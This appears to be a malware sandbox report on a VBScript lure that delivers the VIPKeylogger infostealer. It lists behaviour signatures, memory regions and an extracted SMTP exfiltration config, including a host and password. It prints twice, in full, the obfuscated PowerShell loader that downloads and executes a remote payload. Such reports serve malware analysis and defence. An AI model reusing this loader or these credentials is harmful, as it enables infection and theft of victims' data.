Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
11/10/2024, 07:49
General
- Target Agenda de Pagamento outubro 2024.vbe
- Size 98KB
- Sample241011-jnpfsssgnf
- SHA256 41c4718c2c894df5bc4dff1dfb6583dbd3c609f294eae8c97d95e5a79a2b1faf
Score
10/10
Malware Config
Extracted
Family
-
vipkeylogger
Credentials
-
Protocol
smtp
-
Host
mail.esteem.com.my
-
Port
587
-
Username
-
Password
PI%m)}2pZn6r
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Blocklisted process makes network request 10 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Agenda de Pagamento outubro 2024.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Gorgonized Anatolien Spektrografer #>;$Sammentryknings='Hnniker';<#Wobster Stdendes Kostskoles Sumen #>;$Oktrojldsteders=$Ekspeditricen+$host.UI;If ($Oktrojldsteders) {$Optometr++;}function Taxikrsler($Antimilitaristiske){$Plumatelloid=$Oktrojnclusus+$Antimilitaristiske.'Length'-$Optometr; for( $Oktroj=5;$Oktroj -lt $Plumatelloid;$Oktroj+=6){$Testprogrammer='Lurmrkers';$Tilstedevrende+=$Antimilitaristiske[$Oktroj];$kabbelejers='Helldog';}$Tilstedevrende;}function Reificerende($pulveriseret){ . ($Mentale) ($pulveriseret);}$Unchoicely=Taxikrsler 'Op aaMPyroxoChromzFav oiExcrul An il.svika uime/Ery h5slink. Kryd0 Asy. Topek(NonguWSalgeim nnenGradid reseoDugouw RapssVarme DecoNAfvenTNinki ,asti1 ake0D amo.s nch0Pe,so; Befr FrikiWBygniiSansen f rc6Ejen.4Symbo;Parle Ara,xHimm.6Na,lo4Troub;Spion chromrVoldgvUn on:Afgi,1 .ico2Opskr1 Out .Dogma0 verl)Gldes Ra,ioGKk.ene M sscKirkekTransoAl sm/Svung2 Re,o0Aande1Semip0 son0Dog t1Moral0Infl 1Efflu hrgenFDispei Kak.rDinghe GenffMil toGipsdxResu /Stueh1Urani2Pic u1 Aftr. Ri l0.opon ';$Superexceptional=Taxikrsler 'Bageou SpenSsavioE S bor .ask-BermuAViperg Ex,sE FlamnSammet,tivn ';$Pharyngobranch=Taxikrsler 'Accesh No etCo totDiffepMartesPla.r:citr,/ Klre/VlgerdNeutrrRepaii FrosvKnau eCatab.JegerganstdoUneraoWooligDextrlKltrieTeggt.UdskrcFlusmoIldspm Fuld/HilseuStrawcGorhe?kemikeU perxMor.bp Eks.oS gtmrEnvast occu=Etymod.eptooVanetwspillnBun slgalako Inj afjerndBille& elleiKali dHeste=Drift1so deNDrillSRente5Wited9Pre uULommeCTuni TChoucIIllitjTid bTSelv,x Kr knOv.rs4 Noneh YarmmVanskeMuskiZint xA Mini5TriniiMater-Progr2DuettZFudgy5,isprhHandlSbustaG etanOvoli eSarlatCushiwHagesNHema ';$Ranee=Taxikrsler 'Wanni>.isin ';$Mentale=Taxikrsler 'KrmmeiRefo e aalx Delk ';$Paralleliseres='Subarticulateness';$Bilforsikringer='\Agallochum.Dsi';Reificerende (Taxikrsler 'Kny t$ Lo eGAnetel InteoPericbRedesAGrli LBorge:Odaxnp RaadLSylteIRegioNTylalyMil.iiSardaSDouchMSan,b=A,ler$AggreeGa msnSkuesV nre: BahaAMode P epsipkahytdOpt nA FaraTmlkudaNonpr+ekse,$FastgBmetteIFor rlInspif PrseOSnif rOpbevSHj taiHrvrkKJo.dsRN dslIMaripNRecipG haraE,ugger In.r ');Reificerende (Taxikrsler ' Skrs$ I foGB tfoL DiktoJub.lbAfghaAReincl Meta:StormKLas vuSuperLRab,tDUnfa.eBer jnTuri.eBetag=Sepia$AmentPStakkHBrnehALatchRNannayfljtenHednigToxicODouchBM seor,asseABaggrnHangeC A muh Unso. Opbes kskopSynchlPhysiI RgboTKom e( Dete$MaksiRInfiraImpouNSta uecarb EOutsp) inte ');Reificerende (Taxikrsler 'Stavk[ Mel nTelliE tr lTRefin.OrigiS FibreStorhrHjer.VLeucoiUdenlC BraceDemorpJenblO PseuIOutspNR assTTripam JanoAHoarsnKun.tavolu.GK ndiEOvercRBowin]Event:Neph : HalssMetamENu.koCSpla,UTuranrRhamniShoddtObjekyVoldgpVaretRsterno Bu,mtRaketO br gcpard,OBalsaLSunbr M nte=gal p Super[finu.NCystoeKammeTKnotb.P estsEvnetECarbucFouldu Tentr NegaiDekoltForgvy Fa.bp,ammeR HypoOBuffoT.evneOFremsCDe erO Tu rlBacchTRagusY PytopMovemE Pros]Cen r:Prede: IndvtBallelForaas aral1Unind2Chlor ');$Pharyngobranch=$Kuldene[0];$Regimenternes=(Taxikrsler ' P li$ herGMask l PaasoGig.bBK rbaa HomoLP gge:G,opoi Cac nL.kket espoe Fin,rCu urVAflevESilennRefo.TJaettRUdbedABesknlSp.veIBruseaVedhe=MadstnTrepueoverjWBor,f-TerpeO rissbSvensJlenneEFragaCFratrTEfte Pr.tSMandeYKorreSPretoTBaggrefodnomBuffe.Swah nRegiseUnsloTHu.id. opew Ano,eIntuiBOligoCPygarlFolkeI BobeeTremmnShe ltBootf ');Reificerende ($Regimenternes);Reificerende (Taxikrsler 'Brug.$ GeocI AmblnIndpatA atre,nflurevasivInclaeExcitnIntert aserprin,aUnpe,lConjuiFrplaa,enet. unniHUnsoleForhaa mpird elteFald,r VerssDelik[Skral$samm SHoppeuF ommp Verte Plotr nogleHjtlsx CamicMarroeE durpIntritBosomiRapidod.ectnTorreag stelSh ll]Subde=Uncal$UranoUIlyaknDripsc StamhPre aoGamesi,oforcIlludeKinkalUroenyHistr ');$Remind=Taxikrsler 'Be ho$ StetIDat.fnLapidtHotdoeSextirArytevBif leRedignHeldet xinrPhospaStilvlIridoiOkayia,andl.AdjunDCursaoR llewhusvanMiljolRendeoPalieaReguld undeF unziM,udsl,verpeMis r(Benvn$ ovehP Brokhdd,scaPlanirForneySkruenCapp gTr nioD watbOverfr egioa,dmmen ma,hc StikhNonin,Cover$PrsteB Perul.bitlaSirupnForudk klauoO herfCyc,suDriv,lSlrind grunmUrkomaCamargFakultL kkeeUnj,sr .awkn .rogeMultisAfhnd1M ane9M rge)dejkl ';$Blankofuldmagternes19=$Plinyism;Reificerende (Taxikrsler 'Denti$ calyGExp olOptrvoIndkaBDok,taCompalAchua:Trkgap oermrBureaEbe ensDatasTInswaEUpmouRSuppoI nconLPancrIBekrfzUdslyeAlterSSmi k=Nabo.( SexaTPatteESamlesN.merTM tto-IdealPPolliaTredetreferHRoach Behve$AccumbPhlorLJaggaaSengenDr lnkC.romOOleanfDishauAfstalNonpedLisanm RetcAAsnerGLin etExudaERi,adrLitenN uffeWheatsGenne1Confr9 orne)kited ');while (!$Presterilizes) {Reificerende (Taxikrsler 'Lu.kn$B igigBndellTangloNon.tbcheweaGratalWeiri:RadioALea in kldgPredauJorddiFarvelSt oplKmpehaAltar=Acc d$ bim.t Skalr T.rnu RehaeApolo ') ;Reificerende $Remind;Reificerende (Taxikrsler 'Bel jSRepreTAnarcaHematrSettlt iac- DeacSAineel Whame DunteCarripStena Ve l4 Cent ');Reificerende (Taxikrsler 'Bekri$Ame igSkydnlLacu oFal,ubOptjeAcon.olS iff: EvinPAut or HelieUdlydSEfterTpostbESuperrskabeIKeftilRektiiFordlZBy geEKon,oS Omfl= Cirk( Chu TDuvete.lwinS Emist allo-Trav pSikk a Aa eTSe.imHUrano S,nct$Atte.B eciblI,ddraNonronhosp kUdkanoPaalgfGraf,U.alcolGaw.iD UdlimTrksbaIodi gCreantdiskke Fo,irDatanNSeri,eTzardsDebut1Ref.n9G.aci)Uligh ') ;Reificerende (Taxikrsler 'Fakto$R stigSvvefLSpaltosyn aB BogfakorrolBow l:Cus epBe isaLufthTKatasRSti,kIW.nceOKaktuTTigeriLysteCBerggAS ncrLEkspelBrudfYFinhe= Vinh$Bad dGRepl lFeedeo letmb reaaIntenl Hypa:Co niUAsphanSaksepCholeRAmal ePathoFextraIAequoxAfklaaTricolNonvil Dictygauss+ Demo+Subdi%synde$folk K PseuUDieseLShu.adKu ioeTra sn IntwE usta.IncarcSchreoT lbauL ndsnPoreltPrepa ') ;$Pharyngobranch=$Kuldene[$Patriotically];}$Misadapted=287464;$Njagtigste=31520;Reificerende (Taxikrsler 'Li.ho$ PrinGA italR allOTrrerbAffalA MidtLPerpl:Benz,RHankeEReddeDGeo oHEntr.I BagabDejliI ba eT .verO A peR kraY Snup Primr=Paa.k electg FyrpEH,pneTMisop-MattuCShankO papiNOverpt Var,EJun.eNTilvetf.act Str e$TaphaBLandslBerenAUng,mnBio iK AbehOA.krifDrippUSax pLEtap DDend mMa.ulaNonfegSwattt Makue T lsrMetodnKund eRemunsPetro1No pr9Tilkn ');Reificerende (Taxikrsler 'N.gro$K kkeg Anteludflyo SlicbKelsoaScalolDumet: De.pBMotheySimplsSv rit mmoneStudehCalypo isetlblomsdSchuse Skj rNostasSaldo .lodd=Smara P,ych[CollaS Colbylibr sIndmet PareeDe fimVadem.R rdiCSt arovandanFaunlvGrunde J,inr S ortSeeth]Medbr:S agy: Fl,eFSelvbrChango Ou smFrankBstilla Je jsSv meeGrdef6 baby4ParagSReligtT.leprNonsciVildfnMidragAnalg(Welfe$ BortRVagtteS.kredinterhDestii mrinbNnsomiU ziotHvngeoMarkirCycloy Varm)Ulydi ');Reificerende (Taxikrsler ' Gund$Kre.iGCouplLPhos,o SpribLinteaGubbil Menn:ThiolsAdenodDisa.malkoheP edeN Pitm Coron= Vari Flou[Xiphis SalvYPu tsS Pa eTFourpeUngdoMAni y.ParoltSkalaeDiss XPa thTUlemp.Stilme toldn RentC CentoSubhadgharriKjesenPallbG Ca e]regns: urs:A,pekA SacrsamphicG.ultiExilei Resp.Pln rG Kn peSala tFunfesPunchTCentirFertiIClokynPalmig l.ve(Unnat$PindabnaucoYHornsSIndvetCy laESofabh U,oroOktalL LedsdRibeseGerniR GeotS udah)Ontol ');Reificerende (Taxikrsler 'Atwit$MimsyG S,edlTestuO chribOverlAA ighl po t: Ro oEMo,aiJ.remhs TeknTS.ciaRAraucU Cre.PC ndih UnmoO Tofal,vianmReto sSubci=Darkm$S,ltaS ResudCianoMPericeStetinBeg,e.Tenn sJagtlU N tibIsomesAnvist BorerVen riMorgeN BevaGWhasl(enebr$.onfeMDi eni FilmsSemirAPibe dArdisaSpi,apmonoct ustsEOndskDJambu,Rigsr$Perion Bar jCochlALimmaGEksamt KaffiResupGYverfSR montNdedeePrdik)Disci ');Reificerende $Ejstrupholms;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Gorgonized Anatolien Spektrografer #>;$Sammentryknings='Hnniker';<#Wobster Stdendes Kostskoles Sumen #>;$Oktrojldsteders=$Ekspeditricen+$host.UI;If ($Oktrojldsteders) {$Optometr++;}function Taxikrsler($Antimilitaristiske){$Plumatelloid=$Oktrojnclusus+$Antimilitaristiske.'Length'-$Optometr; for( $Oktroj=5;$Oktroj -lt $Plumatelloid;$Oktroj+=6){$Testprogrammer='Lurmrkers';$Tilstedevrende+=$Antimilitaristiske[$Oktroj];$kabbelejers='Helldog';}$Tilstedevrende;}function Reificerende($pulveriseret){ . ($Mentale) ($pulveriseret);}$Unchoicely=Taxikrsler 'Op aaMPyroxoChromzFav oiExcrul An il.svika uime/Ery h5slink. Kryd0 Asy. Topek(NonguWSalgeim nnenGradid reseoDugouw RapssVarme DecoNAfvenTNinki ,asti1 ake0D amo.s nch0Pe,so; Befr FrikiWBygniiSansen f rc6Ejen.4Symbo;Parle Ara,xHimm.6Na,lo4Troub;Spion chromrVoldgvUn on:Afgi,1 .ico2Opskr1 Out .Dogma0 verl)Gldes Ra,ioGKk.ene M sscKirkekTransoAl sm/Svung2 Re,o0Aande1Semip0 son0Dog t1Moral0Infl 1Efflu hrgenFDispei Kak.rDinghe GenffMil toGipsdxResu /Stueh1Urani2Pic u1 Aftr. Ri l0.opon ';$Superexceptional=Taxikrsler 'Bageou SpenSsavioE S bor .ask-BermuAViperg Ex,sE FlamnSammet,tivn ';$Pharyngobranch=Taxikrsler 'Accesh No etCo totDiffepMartesPla.r:citr,/ Klre/VlgerdNeutrrRepaii FrosvKnau eCatab.JegerganstdoUneraoWooligDextrlKltrieTeggt.UdskrcFlusmoIldspm Fuld/HilseuStrawcGorhe?kemikeU perxMor.bp Eks.oS gtmrEnvast occu=Etymod.eptooVanetwspillnBun slgalako Inj afjerndBille& elleiKali dHeste=Drift1so deNDrillSRente5Wited9Pre uULommeCTuni TChoucIIllitjTid bTSelv,x Kr knOv.rs4 Noneh YarmmVanskeMuskiZint xA Mini5TriniiMater-Progr2DuettZFudgy5,isprhHandlSbustaG etanOvoli eSarlatCushiwHagesNHema ';$Ranee=Taxikrsler 'Wanni>.isin ';$Mentale=Taxikrsler 'KrmmeiRefo e aalx Delk ';$Paralleliseres='Subarticulateness';$Bilforsikringer='\Agallochum.Dsi';Reificerende (Taxikrsler 'Kny t$ Lo eGAnetel InteoPericbRedesAGrli LBorge:Odaxnp RaadLSylteIRegioNTylalyMil.iiSardaSDouchMSan,b=A,ler$AggreeGa msnSkuesV nre: BahaAMode P epsipkahytdOpt nA FaraTmlkudaNonpr+ekse,$FastgBmetteIFor rlInspif PrseOSnif rOpbevSHj taiHrvrkKJo.dsRN dslIMaripNRecipG haraE,ugger In.r ');Reificerende (Taxikrsler ' Skrs$ I foGB tfoL DiktoJub.lbAfghaAReincl Meta:StormKLas vuSuperLRab,tDUnfa.eBer jnTuri.eBetag=Sepia$AmentPStakkHBrnehALatchRNannayfljtenHednigToxicODouchBM seor,asseABaggrnHangeC A muh Unso. Opbes kskopSynchlPhysiI RgboTKom e( Dete$MaksiRInfiraImpouNSta uecarb EOutsp) inte ');Reificerende (Taxikrsler 'Stavk[ Mel nTelliE tr lTRefin.OrigiS FibreStorhrHjer.VLeucoiUdenlC BraceDemorpJenblO PseuIOutspNR assTTripam JanoAHoarsnKun.tavolu.GK ndiEOvercRBowin]Event:Neph : HalssMetamENu.koCSpla,UTuranrRhamniShoddtObjekyVoldgpVaretRsterno Bu,mtRaketO br gcpard,OBalsaLSunbr M nte=gal p Super[finu.NCystoeKammeTKnotb.P estsEvnetECarbucFouldu Tentr NegaiDekoltForgvy Fa.bp,ammeR HypoOBuffoT.evneOFremsCDe erO Tu rlBacchTRagusY PytopMovemE Pros]Cen r:Prede: IndvtBallelForaas aral1Unind2Chlor ');$Pharyngobranch=$Kuldene[0];$Regimenternes=(Taxikrsler ' P li$ herGMask l PaasoGig.bBK rbaa HomoLP gge:G,opoi Cac nL.kket espoe Fin,rCu urVAflevESilennRefo.TJaettRUdbedABesknlSp.veIBruseaVedhe=MadstnTrepueoverjWBor,f-TerpeO rissbSvensJlenneEFragaCFratrTEfte Pr.tSMandeYKorreSPretoTBaggrefodnomBuffe.Swah nRegiseUnsloTHu.id. opew Ano,eIntuiBOligoCPygarlFolkeI BobeeTremmnShe ltBootf ');Reificerende ($Regimenternes);Reificerende (Taxikrsler 'Brug.$ GeocI AmblnIndpatA atre,nflurevasivInclaeExcitnIntert aserprin,aUnpe,lConjuiFrplaa,enet. unniHUnsoleForhaa mpird elteFald,r VerssDelik[Skral$samm SHoppeuF ommp Verte Plotr nogleHjtlsx CamicMarroeE durpIntritBosomiRapidod.ectnTorreag stelSh ll]Subde=Uncal$UranoUIlyaknDripsc StamhPre aoGamesi,oforcIlludeKinkalUroenyHistr ');$Remind=Taxikrsler 'Be ho$ StetIDat.fnLapidtHotdoeSextirArytevBif leRedignHeldet xinrPhospaStilvlIridoiOkayia,andl.AdjunDCursaoR llewhusvanMiljolRendeoPalieaReguld undeF unziM,udsl,verpeMis r(Benvn$ ovehP Brokhdd,scaPlanirForneySkruenCapp gTr nioD watbOverfr egioa,dmmen ma,hc StikhNonin,Cover$PrsteB Perul.bitlaSirupnForudk klauoO herfCyc,suDriv,lSlrind grunmUrkomaCamargFakultL kkeeUnj,sr .awkn .rogeMultisAfhnd1M ane9M rge)dejkl ';$Blankofuldmagternes19=$Plinyism;Reificerende (Taxikrsler 'Denti$ calyGExp olOptrvoIndkaBDok,taCompalAchua:Trkgap oermrBureaEbe ensDatasTInswaEUpmouRSuppoI nconLPancrIBekrfzUdslyeAlterSSmi k=Nabo.( SexaTPatteESamlesN.merTM tto-IdealPPolliaTredetreferHRoach Behve$AccumbPhlorLJaggaaSengenDr lnkC.romOOleanfDishauAfstalNonpedLisanm RetcAAsnerGLin etExudaERi,adrLitenN uffeWheatsGenne1Confr9 orne)kited ');while (!$Presterilizes) {Reificerende (Taxikrsler 'Lu.kn$B igigBndellTangloNon.tbcheweaGratalWeiri:RadioALea in kldgPredauJorddiFarvelSt oplKmpehaAltar=Acc d$ bim.t Skalr T.rnu RehaeApolo ') ;Reificerende $Remind;Reificerende (Taxikrsler 'Bel jSRepreTAnarcaHematrSettlt iac- DeacSAineel Whame DunteCarripStena Ve l4 Cent ');Reificerende (Taxikrsler 'Bekri$Ame igSkydnlLacu oFal,ubOptjeAcon.olS iff: EvinPAut or HelieUdlydSEfterTpostbESuperrskabeIKeftilRektiiFordlZBy geEKon,oS Omfl= Cirk( Chu TDuvete.lwinS Emist allo-Trav pSikk a Aa eTSe.imHUrano S,nct$Atte.B eciblI,ddraNonronhosp kUdkanoPaalgfGraf,U.alcolGaw.iD UdlimTrksbaIodi gCreantdiskke Fo,irDatanNSeri,eTzardsDebut1Ref.n9G.aci)Uligh ') ;Reificerende (Taxikrsler 'Fakto$R stigSvvefLSpaltosyn aB BogfakorrolBow l:Cus epBe isaLufthTKatasRSti,kIW.nceOKaktuTTigeriLysteCBerggAS ncrLEkspelBrudfYFinhe= Vinh$Bad dGRepl lFeedeo letmb reaaIntenl Hypa:Co niUAsphanSaksepCholeRAmal ePathoFextraIAequoxAfklaaTricolNonvil Dictygauss+ Demo+Subdi%synde$folk K PseuUDieseLShu.adKu ioeTra sn IntwE usta.IncarcSchreoT lbauL ndsnPoreltPrepa ') ;$Pharyngobranch=$Kuldene[$Patriotically];}$Misadapted=287464;$Njagtigste=31520;Reificerende (Taxikrsler 'Li.ho$ PrinGA italR allOTrrerbAffalA MidtLPerpl:Benz,RHankeEReddeDGeo oHEntr.I BagabDejliI ba eT .verO A peR kraY Snup Primr=Paa.k electg FyrpEH,pneTMisop-MattuCShankO papiNOverpt Var,EJun.eNTilvetf.act Str e$TaphaBLandslBerenAUng,mnBio iK AbehOA.krifDrippUSax pLEtap DDend mMa.ulaNonfegSwattt Makue T lsrMetodnKund eRemunsPetro1No pr9Tilkn ');Reificerende (Taxikrsler 'N.gro$K kkeg Anteludflyo SlicbKelsoaScalolDumet: De.pBMotheySimplsSv rit mmoneStudehCalypo isetlblomsdSchuse Skj rNostasSaldo .lodd=Smara P,ych[CollaS Colbylibr sIndmet PareeDe fimVadem.R rdiCSt arovandanFaunlvGrunde J,inr S ortSeeth]Medbr:S agy: Fl,eFSelvbrChango Ou smFrankBstilla Je jsSv meeGrdef6 baby4ParagSReligtT.leprNonsciVildfnMidragAnalg(Welfe$ BortRVagtteS.kredinterhDestii mrinbNnsomiU ziotHvngeoMarkirCycloy Varm)Ulydi ');Reificerende (Taxikrsler ' Gund$Kre.iGCouplLPhos,o SpribLinteaGubbil Menn:ThiolsAdenodDisa.malkoheP edeN Pitm Coron= Vari Flou[Xiphis SalvYPu tsS Pa eTFourpeUngdoMAni y.ParoltSkalaeDiss XPa thTUlemp.Stilme toldn RentC CentoSubhadgharriKjesenPallbG Ca e]regns: urs:A,pekA SacrsamphicG.ultiExilei Resp.Pln rG Kn peSala tFunfesPunchTCentirFertiIClokynPalmig l.ve(Unnat$PindabnaucoYHornsSIndvetCy laESofabh U,oroOktalL LedsdRibeseGerniR GeotS udah)Ontol ');Reificerende (Taxikrsler 'Atwit$MimsyG S,edlTestuO chribOverlAA ighl po t: Ro oEMo,aiJ.remhs TeknTS.ciaRAraucU Cre.PC ndih UnmoO Tofal,vianmReto sSubci=Darkm$S,ltaS ResudCianoMPericeStetinBeg,e.Tenn sJagtlU N tibIsomesAnvist BorerVen riMorgeN BevaGWhasl(enebr$.onfeMDi eni FilmsSemirAPibe dArdisaSpi,apmonoct ustsEOndskDJambu,Rigsr$Perion Bar jCochlALimmaGEksamt KaffiResupGYverfSR montNdedeePrdik)Disci ');Reificerende $Ejstrupholms;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_snnindzm.a2x.ps1
Agallochum.Dsi
memory/864-11-0x00007FFF4AD80000-0x00007FFF4B841000-memory.dmp
memory/864-12-0x00007FFF4AD80000-0x00007FFF4B841000-memory.dmp
memory/864-14-0x00007FFF4AD83000-0x00007FFF4AD85000-memory.dmp
memory/864-16-0x00007FFF4AD80000-0x00007FFF4B841000-memory.dmp
memory/864-17-0x00007FFF4AD80000-0x00007FFF4B841000-memory.dmp
memory/864-18-0x00007FFF4AD80000-0x00007FFF4B841000-memory.dmp
memory/864-21-0x00007FFF4AD80000-0x00007FFF4B841000-memory.dmp
memory/864-8-0x0000025E7BC30000-0x0000025E7BC52000-memory.dmp
memory/864-0-0x00007FFF4AD83000-0x00007FFF4AD85000-memory.dmp
memory/1036-22-0x0000000004A60000-0x0000000004A96000-memory.dmp
memory/1036-44-0x0000000008510000-0x0000000008AB4000-memory.dmp
memory/1036-26-0x0000000005900000-0x0000000005966000-memory.dmp
memory/1036-36-0x00000000059F0000-0x0000000005D44000-memory.dmp
memory/1036-24-0x0000000005050000-0x0000000005072000-memory.dmp
memory/1036-39-0x0000000006070000-0x00000000060BC000-memory.dmp
memory/1036-41-0x00000000065C0000-0x00000000065DA000-memory.dmp
memory/1036-40-0x00000000078E0000-0x0000000007F5A000-memory.dmp
memory/1036-38-0x0000000006040000-0x000000000605E000-memory.dmp
memory/1036-42-0x0000000007300000-0x0000000007396000-memory.dmp
memory/1036-43-0x0000000007290000-0x00000000072B2000-memory.dmp
memory/1036-25-0x0000000005890000-0x00000000058F6000-memory.dmp
memory/1036-23-0x00000000051F0000-0x0000000005818000-memory.dmp
memory/1036-46-0x0000000008AC0000-0x000000000C7CB000-memory.dmp
memory/4648-59-0x0000000001000000-0x0000000002254000-memory.dmp
memory/4648-60-0x0000000001000000-0x0000000001048000-memory.dmp
memory/4648-61-0x0000000023FC0000-0x000000002405C000-memory.dmp
memory/4648-63-0x0000000024C00000-0x0000000024DC2000-memory.dmp
memory/4648-64-0x0000000024370000-0x00000000243C0000-memory.dmp
memory/4648-66-0x0000000024470000-0x0000000024502000-memory.dmp
memory/4648-67-0x0000000024420000-0x000000002442A000-memory.dmp